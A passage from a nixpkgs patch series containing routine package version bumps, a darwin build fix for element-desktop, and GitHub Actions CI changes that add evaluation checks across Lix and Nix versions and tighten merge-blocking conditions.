-        x86_64-darwin = "9bee8cc79a7dda56a38bbef88e72687ea0cb35d4c382eb9076ee8a3c53c3a8cf";
-        aarch64-darwin = "2c279005f5059d10eade27a59e25f5ea53e00b0caa30a6d73fa32529ec046735";
+        x86_64-linux = "e99e52e2029d845097c68f2372d836186f0eb3fb897a9dde0bdf9ee9250d03d5";
+        aarch64-linux = "c2c5cdce017cacadaccb7d22aa070f549e4e87c4bb10f15853170ddcb50bf5f4";
+        x86_64-darwin = "195a897e031595f59821dbcaf87514faa8d64220334b285c3e9809fce4958f79";
+        aarch64-darwin = "01caaa9c25fa1f071003807c8a6739de4941b5ec13751131128e00e21880e639";
       };
     }) { }
   );

From 09624d8fc277b8a4026be7be1bc88149a11565e2 Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Fri, 11 Jul 2025 22:49:57 -0500
Subject: [PATCH 3437/4511] julia_111: 1.11.5 -> 1.11.6

(cherry picked from commit aa9abfd7203aa473e0979bc44fd580c1f9bbaf14)
---
 pkgs/development/compilers/julia/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/julia/default.nix b/pkgs/development/compilers/julia/default.nix
index 77311f5e76bc..1a37dd5df768 100644
--- a/pkgs/development/compilers/julia/default.nix
+++ b/pkgs/development/compilers/julia/default.nix
@@ -79,8 +79,8 @@ in
   );
   julia_111 = wrapJulia (
     callPackage (import ./generic.nix {
-      version = "1.11.5";
-      hash = "sha256-FHYm22toh7+2YSy2zSpI1omAZkn6403HSf3cg3XCxiU=";
+      version = "1.11.6";
+      hash = "sha256-smje9BrcF0lsPg59y14nssvmocYcePZGNUTF9Mc0Foo=";
       patches = [
         ./patches/1.11/0002-skip-failing-and-flaky-tests.patch
       ];

From 4e2fc116bebf89c08b55810842949f40be900b7d Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Mon, 11 Aug 2025 09:55:29 +0200
Subject: [PATCH 3438/4511] ocamlPackages.mdx: add missing dependency to result

(cherry picked from commit cca779286a4dfd33a04d11954829dfeca0904b79)
---
 pkgs/development/ocaml-modules/mdx/default.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/development/ocaml-modules/mdx/default.nix b/pkgs/development/ocaml-modules/mdx/default.nix
index 9d3e992557ef..aa3674970c58 100644
--- a/pkgs/development/ocaml-modules/mdx/default.nix
+++ b/pkgs/development/ocaml-modules/mdx/default.nix
@@ -13,6 +13,7 @@
   camlp-streams,
   lwt,
   re,
+  result,
   csexp,
   gitUpdater,
 }:
@@ -37,6 +38,7 @@ buildDunePackage rec {
     ocaml-version
     camlp-streams
     re
+    result
     findlib
   ];
   checkInputs = [

From 7693833eeb943fca766f6a27f6d6979ebccd7003 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 10:13:46 +0200
Subject: [PATCH 3439/4511] workflows: fix actions/download-artifact hashes

The Dependabot update change the hashes to the latest main branch commit
instead of the v5.0.0 tag - also it didn't adjust the tags in the
comments accordingly. Last but not least, one of the references used a
`@v5` reference instead of the commit hash. The latter is probably what
Dependabot tripped on.

(cherry picked from commit 51e6b0e40bd10815ef3c64ea90e672eaa43d4706)
---
 .github/workflows/eval.yml      | 4 ++--
 .github/workflows/reviewers.yml | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index dc9889545857..835fa4c43d99 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -125,7 +125,7 @@ jobs:
           GH_TOKEN: ${{ github.token }}
         run: gh api /rate_limit | jq
 
-      - uses: actions/download-artifact@v5
+      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
         if: steps.targetRunId.outputs.targetRunId
         with:
           run-id: ${{ steps.targetRunId.outputs.targetRunId }}
@@ -171,7 +171,7 @@ jobs:
           pinnedFrom: trusted
 
       - name: Download output paths and eval stats for all systems
-        uses: actions/download-artifact@de96f4613b77ec03b5cf633e7c350c32bd3c5660 # v4.1.8
+        uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
         with:
           pattern: diff-*
           path: diff
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 2cddb17a1018..58c201724273 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -96,7 +96,7 @@ jobs:
         run: gh api /rate_limit | jq
 
       - name: Download the comparison results
-        uses: actions/download-artifact@de96f4613b77ec03b5cf633e7c350c32bd3c5660 # v4.1.8
+        uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
         with:
           run-id: ${{ steps.eval.outputs.run-id }}
           github-token: ${{ github.token }}

From 446ff34e113ed0ecbd5286577367c375206b694b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 8 Aug 2025 19:15:38 +0200
Subject: [PATCH 3440/4511] ci/eval/compare: reorder step summary

Move "Packages" up, because it's much shorter and easier to scroll past.
This way both Packages and Performance are visible immediately.

(cherry picked from commit f05895fb3cf7949b2412a1b2f3a99e7c5b962366)
---
 ci/eval/compare/default.nix | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 81eebcc9adb1..9060d357d662 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -146,6 +146,12 @@ runCommand "compare"
 
     cp ${changed-paths} $out/changed-paths.json
 
+    {
+      echo
+      echo "# Packages"
+      echo
+      jq -r -f ${./generate-step-summary.jq} < ${changed-paths}
+    } >> $out/step-summary.md
 
     if jq -e '(.attrdiff.added | length == 0) and (.attrdiff.removed | length == 0)' "${changed-paths}" > /dev/null; then
       # Chunks have changed between revisions
@@ -175,12 +181,5 @@ runCommand "compare"
       } >> $out/step-summary.md
     fi
 
-    {
-      echo
-      echo "# Packages"
-      echo
-      jq -r -f ${./generate-step-summary.jq} < ${changed-paths}
-    } >> $out/step-summary.md
-
     cp "$maintainersPath" "$out/maintainers.json"
   ''

From 0262bcddf288ec6b59890bd26c3a0cfa94d3c8c9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 23 Jul 2025 13:28:44 +0200
Subject: [PATCH 3441/4511] workflows/eval: test all available versions

With this change, we start running Eval on all available Lix and Nix
versions. Because this requires a lot of resources, this complete test
is only run when `ci/pinned.json` is updated.

The resulting outpaths are checked for consistency with the target
branch. A difference will cause the `report` job to fail, thus blocking
the merge, ensuring Eval consistency for Nixpkgs across different
versions.

This implements a kind of "ratchet style" check: Since we originally
confirmed that the versions currently in Nixpkgs at the time of this
commit match Eval behavior of Nix 2.3, we can ensure consistency with
Nix 2.3 down the road, even without testing for it explicitly.

There had been one regression in Eval consistency for Nix between 2.18
and 2.24 - two tests in `tests.devShellTools` produce different results
between Lix 2.91+ (which was forked from Nix 2.18) and Nix 2.24+. I
assume it's unlikely that such a change would be "fixed" by now, thus I
added an exception for these.

As a bonus, we also present the total time in seconds it takes for Eval
to complete for every tested version in a summary table. This allows us
to easily see performance improvements for Eval due to version updates.
At this stage, this time only includes the "outpaths" step of Eval, but
not the generation of attrpaths beforehand.

(cherry picked from commit b523f257ac01c54d709907fae166c4b82684b382)
---
 .github/workflows/eval.yml | 133 ++++++++++++++++++++++++++++++++++++-
 .github/workflows/pr.yml   |  16 +++++
 ci/default.nix             |   3 +-
 ci/supportedVersions.nix   |  32 +++++++++
 4 files changed, 180 insertions(+), 4 deletions(-)
 create mode 100755 ci/supportedVersions.nix

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 835fa4c43d99..1ac9c846e6f0 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -11,6 +11,10 @@ on:
       systems:
         required: true
         type: string
+      testVersions:
+        required: false
+        default: false
+        type: boolean
     secrets:
       OWNER_APP_PRIVATE_KEY:
         required: false
@@ -22,13 +26,49 @@ defaults:
     shell: bash
 
 jobs:
+  versions:
+    if: inputs.testVersions
+    runs-on: ubuntu-24.04-arm
+    outputs:
+      versions: ${{ steps.versions.outputs.versions }}
+    steps:
+      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+        with:
+          path: trusted
+          sparse-checkout: |
+            ci/supportedVersions.nix
+
+      - name: Check out the PR at the test merge commit
+        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+        with:
+          ref: ${{ inputs.mergedSha }}
+          path: untrusted
+          sparse-checkout: |
+            ci/pinned.json
+
+      - name: Install Nix
+        uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
+
+      - name: Load supported versions
+        id: versions
+        run: |
+          echo "versions=$(trusted/ci/supportedVersions.nix --arg pinnedJson untrusted/ci/pinned.json)" >> "$GITHUB_OUTPUT"
+
   eval:
     runs-on: ubuntu-24.04-arm
+    needs: versions
+    if: ${{ !cancelled() }}
     strategy:
       fail-fast: false
       matrix:
         system: ${{ fromJSON(inputs.systems) }}
-    name: ${{ matrix.system }}
+        version:
+          - "" # Default Eval triggering rebuild labels and such.
+          - ${{ fromJSON(needs.versions.outputs.versions || '[]') }} # Only for ci/pinned.json updates.
+    # Failures for versioned Evals will be collected in a separate job below
+    # to not interrupt main Eval's compare step.
+    continue-on-error: ${{ matrix.version != '' }}
+    name: ${{ matrix.system }}${{ matrix.version && format(' @ {0}', matrix.version) || '' }}
     outputs:
       targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
     timeout-minutes: 15
@@ -60,17 +100,19 @@ jobs:
       - name: Evaluate the ${{ matrix.system }} output paths for all derivation attributes
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
+          MATRIX_VERSION: ${{ matrix.version || 'nixVersions.latest' }}
         run: |
           nix-build untrusted/ci --arg nixpkgs ./pinned  -A eval.singleSystem \
             --argstr evalSystem "$MATRIX_SYSTEM" \
             --arg chunkSize 8000 \
+            --argstr nixPath "$MATRIX_VERSION" \
             --out-link merged
           # If it uses too much memory, slightly decrease chunkSize
 
       - name: Upload the output paths and eval stats
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
-          name: merged-${{ matrix.system }}
+          name: ${{ matrix.version && format('{0}-', matrix.version) || '' }}merged-${{ matrix.system }}
           path: merged/*
 
       - name: Log current API rate limits
@@ -149,7 +191,7 @@ jobs:
         if: steps.targetRunId.outputs.targetRunId
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
         with:
-          name: diff-${{ matrix.system }}
+          name: ${{ matrix.version && format('{0}-', matrix.version) || '' }}diff-${{ matrix.system }}
           path: diff/*
 
   compare:
@@ -240,6 +282,91 @@ jobs:
               target_url
             })
 
+  # Creates a matrix of Eval performance for various versions and systems.
+  report:
+    runs-on: ubuntu-24.04-arm
+    needs: [versions, eval]
+    steps:
+      - name: Download output paths and eval stats for all versions
+        uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5.0.0
+        with:
+          pattern: "*-diff-*"
+          path: versions
+
+      - name: Add version comparison table to job summary
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        env:
+          SYSTEMS: ${{ inputs.systems }}
+          VERSIONS: ${{ needs.versions.outputs.versions }}
+        with:
+          script: |
+            const { readFileSync } = require('node:fs')
+            const path = require('node:path')
+
+            const systems = JSON.parse(process.env.SYSTEMS)
+            const versions = JSON.parse(process.env.VERSIONS)
+
+            core.summary.addHeading('Lix/Nix version comparison')
+            core.summary.addTable(
+              [].concat(
+                [
+                  [{ data: 'Version', header: true }].concat(
+                    systems.map((system) => ({ data: system, header: true })),
+                  ),
+                ],
+                versions.map((version) =>
+                  [{ data: version }].concat(
+                    systems.map((system) => {
+                      try {
+                        const artifact = path.join('versions', `${version}-diff-${system}`)
+                        const time = Math.round(
+                          parseFloat(
+                            readFileSync(
+                              path.join(artifact, 'after', system, 'total-time'),
+                              'utf-8',
+                            ),
+                          ),
+                        )
+                        const diff = JSON.parse(
+                          readFileSync(path.join(artifact, system, 'diff.json'), 'utf-8'),
+                        )
+                        const attrs = [].concat(
+                          diff.added,
+                          diff.removed,
+                          diff.changed,
+                          diff.rebuilds
+                        ).filter(attr =>
+                          // Exceptions related to dev shells, which changed at some time between 2.18 and 2.24.
+                          !attr.startsWith('tests.devShellTools.nixos.') &&
+                          !attr.startsWith('tests.devShellTools.unstructuredDerivationInputEnv.')
+                        )
+                        if (attrs.length > 0) {
+                          core.setFailed(
+                            `${version} on ${system} has changed outpaths!\nNote: Please make sure to update ci/pinned.json separately from changes to other packages.`,
+                          )
+                          return { data: ':x:' }
+                        }
+                        return { data: time }
+                      } catch {
+                        core.warning(`${version} on ${system} did not produce artifact.`)
+                        return { data: ':warning:' }
+                      }
+                    }),
+                  ),
+                ),
+              ),
+            )
+            core.summary.addRaw(
+              '\n*Evaluation time in seconds without downloading dependencies.*',
+              true,
+            )
+            core.summary.addRaw('\n*:warning: Job did not report a result.*', true)
+            core.summary.addRaw(
+              '\n*:x: Job produced different outpaths than the target branch.*',
+              true,
+            )
+            core.summary.write()
+
   misc:
     if: ${{ github.event_name != 'push' }}
     runs-on: ubuntu-24.04-arm
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 086b14268f5b..db261a904ef5 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -28,6 +28,7 @@ jobs:
       mergedSha: ${{ steps.get-merge-commit.outputs.mergedSha }}
       targetSha: ${{ steps.get-merge-commit.outputs.targetSha }}
       systems: ${{ steps.systems.outputs.systems }}
+      touched: ${{ steps.files.outputs.touched }}
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
@@ -64,6 +65,20 @@ jobs:
             core.setOutput('head', headClassification)
             core.info('head classification:', headClassification)
 
+      - name: Determine changed files
+        id: files
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const files = (await github.paginate(github.rest.pulls.listFiles, {
+              ...context.repo,
+              pull_number: context.payload.pull_request.number,
+              per_page: 100,
+            })).map(file => file.filename)
+
+            if (files.includes('ci/pinned.json')) core.setOutput('touched', ['pinned'])
+            else core.setOutput('touched', [])
+
   check:
     name: Check
     needs: [prepare]
@@ -96,6 +111,7 @@ jobs:
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
       targetSha: ${{ needs.prepare.outputs.targetSha }}
       systems: ${{ needs.prepare.outputs.systems }}
+      testVersions: ${{ contains(fromJSON(needs.prepare.outputs.touched), 'pinned') && !contains(fromJSON(needs.prepare.outputs.headBranch).type, 'development') }}
 
   labels:
     name: Labels
diff --git a/ci/default.nix b/ci/default.nix
index 603e11513aa7..2bae87eca058 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -5,6 +5,7 @@ in
   system ? builtins.currentSystem,
 
   nixpkgs ? null,
+  nixPath ? "nixVersions.latest",
 }:
 let
   nixpkgs' =
@@ -115,7 +116,7 @@ rec {
   # (nixVersions.stable and Lix) here somehow at some point to ensure we don't
   # have eval divergence.
   eval = pkgs.callPackage ./eval {
-    nix = pkgs.nixVersions.latest;
+    nix = pkgs.lib.getAttrFromPath (pkgs.lib.splitString "." nixPath) pkgs;
   };
 
   # CI jobs
diff --git a/ci/supportedVersions.nix b/ci/supportedVersions.nix
new file mode 100755
index 000000000000..77f6f7dd1475
--- /dev/null
+++ b/ci/supportedVersions.nix
@@ -0,0 +1,32 @@
+#!/usr/bin/env -S nix-instantiate --eval --strict --json --arg unused true
+# Unused argument to trigger nix-instantiate calling this function with the default arguments.
+{
+  pinnedJson ? ./pinned.json,
+}:
+let
+  pinned = (builtins.fromJSON (builtins.readFile pinnedJson)).pins;
+  nixpkgs = fetchTarball {
+    inherit (pinned.nixpkgs) url;
+    sha256 = pinned.nixpkgs.hash;
+  };
+  pkgs = import nixpkgs {
+    config.allowAliases = false;
+  };
+
+  inherit (pkgs) lib;
+
+  lix = lib.pipe pkgs.lixPackageSets [
+    (lib.filterAttrs (_: set: lib.isDerivation set.lix or null && set.lix.meta.available))
+    lib.attrNames
+    (lib.filter (name: lib.match "lix_[0-9_]+|git" name != null))
+    (map (name: "lixPackageSets.${name}.lix"))
+  ];
+
+  nix = lib.pipe pkgs.nixVersions [
+    (lib.filterAttrs (_: drv: lib.isDerivation drv && drv.meta.available))
+    lib.attrNames
+    (lib.filter (name: lib.match "nix_[0-9_]+|git" name != null))
+    (map (name: "nixVersions.${name}"))
+  ];
+in
+lix ++ nix

From ad0e8bc1904bcbe5d957819d98c89d984563fb07 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 7 Aug 2025 14:42:55 +0200
Subject: [PATCH 3442/4511] ci/pinned: update

This gives us a fixed `lixPackageSets.git`.

From the nixpkgs-unstable channel:
https://hydra.nixos.org/build/304569381#tabs-buildinputs

Changes for treefmt-nix:
https://github.com/numtide/treefmt-nix/compare/58bd4da459f0a39e506847109a2a5cfceb837796...7d81f6fb2e19bf84f1c65135d1060d829fae2408

(cherry picked from commit 14a6d9de4600fbe6d86abe1ea2a538522069e8d0)
---
 ci/pinned.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/pinned.json b/ci/pinned.json
index 1f1af448a2e8..14a454c2e258 100644
--- a/ci/pinned.json
+++ b/ci/pinned.json
@@ -9,9 +9,9 @@
       },
       "branch": "nixpkgs-unstable",
       "submodules": false,
-      "revision": "6a489c9482ca676ce23c0bcd7f2e1795383325fa",
-      "url": "https://github.com/NixOS/nixpkgs/archive/6a489c9482ca676ce23c0bcd7f2e1795383325fa.tar.gz",
-      "hash": "0vsvkhy3gb8yzq62vazhmpqixssmd4xinnll7w73l4vrqd611wlf"
+      "revision": "641d909c4a7538f1539da9240dedb1755c907e40",
+      "url": "https://github.com/NixOS/nixpkgs/archive/641d909c4a7538f1539da9240dedb1755c907e40.tar.gz",
+      "hash": "10hpb1aw884k3zzcy1mhf47dqvfagiyx7kr6hg0p5xcwg04mkx8x"
     },
     "treefmt-nix": {
       "type": "Git",
@@ -22,9 +22,9 @@
       },
       "branch": "main",
       "submodules": false,
-      "revision": "58bd4da459f0a39e506847109a2a5cfceb837796",
-      "url": "https://github.com/numtide/treefmt-nix/archive/58bd4da459f0a39e506847109a2a5cfceb837796.tar.gz",
-      "hash": "01bg9b4xzlv6s5q1q78vib6l2csw02b3rk5bm5yj4gx2sk2hvmrq"
+      "revision": "7d81f6fb2e19bf84f1c65135d1060d829fae2408",
+      "url": "https://github.com/numtide/treefmt-nix/archive/7d81f6fb2e19bf84f1c65135d1060d829fae2408.tar.gz",
+      "hash": "1cg20q8ja8k2nb7mzy95hgmd8whxapc3fbyndh1ip5dr6d1grxfs"
     }
   },
   "version": 5

From 835136c988b6ea5564c5db499a5f419a5aef126e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 10:30:03 +0200
Subject: [PATCH 3443/4511] workflows/backport: fix token permissions

The additional `workflows` permissions are required to backport
Dependabot updates. The permissions had been added to the app a while
ago, but we forgot to actually use them.

(cherry picked from commit bb1529ef6ad3d24249756ffa99eef419b113ebab)
---
 .github/workflows/backport.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index d93e11fbcd7a..0392578df488 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -34,6 +34,7 @@ jobs:
           private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
           permission-contents: write
           permission-pull-requests: write
+          permission-workflows: write
 
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:

From 56022d779d95bf7726b6602ef116fea823baca18 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 10:58:45 +0200
Subject: [PATCH 3444/4511] workflows/eval: fix compare job not running

The conclusion of the `versions` job propagates from through `eval` to
`compare`, which meant the `compare` job was skipped. No rebuild labels,
no reviewer requests.

Also, we don't want to run eval when `versions` runs, but fails.

(cherry picked from commit 267d5cdf64d05e22e8357a8971c44c94cc872aed)
---
 .github/workflows/eval.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 1ac9c846e6f0..53ad022a559f 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -57,7 +57,7 @@ jobs:
   eval:
     runs-on: ubuntu-24.04-arm
     needs: versions
-    if: ${{ !cancelled() }}
+    if: ${{ !cancelled() && !failure() }}
     strategy:
       fail-fast: false
       matrix:
@@ -197,7 +197,7 @@ jobs:
   compare:
     runs-on: ubuntu-24.04-arm
     needs: [eval]
-    if: needs.eval.outputs.targetRunId
+    if: needs.eval.outputs.targetRunId && !cancelled() && !failure()
     permissions:
       statuses: write
     timeout-minutes: 5

From bef1d61d35ff5eb9a969b16379b4e42141c1453d Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Wed, 6 Aug 2025 19:09:31 +0900
Subject: [PATCH 3445/4511] element-desktop: fix sandbox build on darwin

(cherry picked from commit fe08e9fa5fd40700af43d90dcbed97b3d48c1000)
---
 pkgs/by-name/el/element-desktop/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 53b8b350136a..1338f31f5874 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -77,6 +77,11 @@ stdenv.mkDerivation (
       runHook postConfigure
     '';
 
+    # Workaround for darwin sandbox build failure: "Error: listen EPERM: operation not permitted ..tsx..."
+    preBuild = lib.optionalString stdenv.hostPlatform.isDarwin ''
+      export TMPDIR="$(mktemp -d)"
+    '';
+
     buildPhase = ''
       runHook preBuild
 

From eec72ea6e4aba8c8ba321a5926b76b43ca2d4021 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 13:06:09 +0200
Subject: [PATCH 3446/4511] workflows/pr: block merging PRs when jobs have been
 cancelled

This currently happens, for still unknown reasons, for the "check cherry
picks" job. The job gets cancelled by GHA mid-way. This should be the
same as an error, because an important check didn't run: Merging should
be blocked and auto-merge should not succeed.

(cherry picked from commit 06f574addf20264caba26b7db6222080e80ca874)
---
 .github/workflows/pr.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index db261a904ef5..a09ea195524f 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -160,7 +160,7 @@ jobs:
     # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
     # This would prevent all PRs from merging.
     name: no PR failures
-    if: ${{ failure() }}
+    if: ${{ cancelled() || failure() }}
     runs-on: ubuntu-24.04-arm
     steps:
       - run: exit 1

From 9f20864511cea81761a7057f3a89475033ee99fa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=9B=A7-440729=20=5Bsophie=5D?= <sophie@999eagle.moe>
Date: Tue, 12 Aug 2025 08:15:46 +0200
Subject: [PATCH 3447/4511] mtxclient: 0.10.0 -> 0.10.1

(cherry picked from commit 1f8ab511115d605cc61698ac78a9eae1a8e9456f)
---
 pkgs/by-name/mt/mtxclient/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mt/mtxclient/package.nix b/pkgs/by-name/mt/mtxclient/package.nix
index 2d47a07b2645..1ce611fc08ca 100644
--- a/pkgs/by-name/mt/mtxclient/package.nix
+++ b/pkgs/by-name/mt/mtxclient/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "mtxclient";
-  version = "0.10.0";
+  version = "0.10.1";
 
   src = fetchFromGitHub {
     owner = "Nheko-Reborn";
     repo = "mtxclient";
     rev = "v${version}";
-    hash = "sha256-luWcbYCv5OM3aidxiO7glqD+VYnCZMElZYaPKbtvMYI=";
+    hash = "sha256-Y0FMCq4crSbm0tJtYq04ZFwWw+vlfxXKXBo0XUgf7hw=";
   };
 
   postPatch = ''

From bb46e511fdd45097ebcd0c0b2a1acc0aa5fbb211 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E2=9B=A7-440729=20=5Bsophie=5D?= <sophie@999eagle.moe>
Date: Tue, 12 Aug 2025 08:38:20 +0200
Subject: [PATCH 3448/4511] nheko: 0.12.0 -> 0.12.1

(cherry picked from commit f6cc666f1d1068d6f73eca2d375ae78560e555d6)
---
 pkgs/by-name/nh/nheko/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/nh/nheko/package.nix b/pkgs/by-name/nh/nheko/package.nix
index da6de4c45f93..ddf73924c487 100644
--- a/pkgs/by-name/nh/nheko/package.nix
+++ b/pkgs/by-name/nh/nheko/package.nix
@@ -26,13 +26,13 @@
 
 stdenv.mkDerivation rec {
   pname = "nheko";
-  version = "0.12.0";
+  version = "0.12.1";
 
   src = fetchFromGitHub {
     owner = "Nheko-Reborn";
     repo = "nheko";
     rev = "v${version}";
-    hash = "sha256-hQb+K8ogNj/s6ZO2kgS/sZZ35y4CwMeS3lVeMYNucYQ=";
+    hash = "sha256-WlWxe4utRSc9Tt2FsnhBwxzQsoDML2hvm3g5zRnDEiU=";
   };
 
   nativeBuildInputs = [

From 3bc8302a6aa1bd91504014b986d7aa7ac7d8e986 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 12 Aug 2025 15:11:38 +0200
Subject: [PATCH 3449/4511] workflows/pr: fix condition for no-pr-failures job

The `cancelled()` condition seems to only apply when *the whole
workflow* was cancelled. This is not the case when a single job is
cancelled due to timeout.

We can replicate this by checking each needs.result manually.

(cherry picked from commit d1bb35448a5837acc1c14c89252fbdc455e156a6)
---
 .github/workflows/pr.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index a09ea195524f..c5a9b7ccf7c9 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -160,7 +160,11 @@ jobs:
     # Do NOT change the name of this job, otherwise the rule will not catch it anymore.
     # This would prevent all PRs from merging.
     name: no PR failures
-    if: ${{ cancelled() || failure() }}
+    # A single job is "cancelled" when it hits its timeout. This is not the same
+    # as "skipped", which happens when the `if` condition doesn't apply.
+    # The "cancelled()" function only checks the whole workflow, but not individual
+    # jobs.
+    if: ${{ failure() || contains(needs.*.result, 'cancelled') }}
     runs-on: ubuntu-24.04-arm
     steps:
       - run: exit 1

From cf95e395ecb4e7ba38ae92631e357c4e703a2a7d Mon Sep 17 00:00:00 2001
From: iqubic <avi.caspe@gmail.com>
Date: Mon, 11 Aug 2025 18:36:52 -0700
Subject: [PATCH 3450/4511] archipelago: 0.6.2 -> 0.6.3

(cherry picked from commit fd964e5cee0b0ca8acab7bb79d77a97a3bbb0ac5)
---
 pkgs/by-name/ar/archipelago/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/archipelago/package.nix b/pkgs/by-name/ar/archipelago/package.nix
index e0cd0fcaac95..995cc280bb6d 100644
--- a/pkgs/by-name/ar/archipelago/package.nix
+++ b/pkgs/by-name/ar/archipelago/package.nix
@@ -7,10 +7,10 @@
 }:
 let
   pname = "archipelago";
-  version = "0.6.2";
+  version = "0.6.3";
   src = fetchurl {
     url = "https://github.com/ArchipelagoMW/Archipelago/releases/download/${version}/Archipelago_${version}_linux-x86_64.AppImage";
-    hash = "sha256-DdlfHb8iTCfTGGBUYQeELYh2NF/2GcamtuJzeYb2A5M=";
+    hash = "sha256-PetlGYsdhyvThIFqy+7wbPLAXDcgN2Kcl2WF3rta8PA=";
   };
 
   appimageContents = appimageTools.extractType2 { inherit pname version src; };

From 5c7f26977d3fd0909f5e32b04fb661458caca958 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 11 Aug 2025 21:51:03 +0000
Subject: [PATCH 3451/4511] flyctl: 0.3.164 -> 0.3.169

(cherry picked from commit 61e0168e41ef644d6ea71bb492559ee1aeab3603)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index f6d2950af349..0b4acad8a12e 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.164";
+  version = "0.3.169";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-pAWdyKBiDr1opIO9P0+4Fm2wwZXaL5Nt0YJiuB+mWHo=";
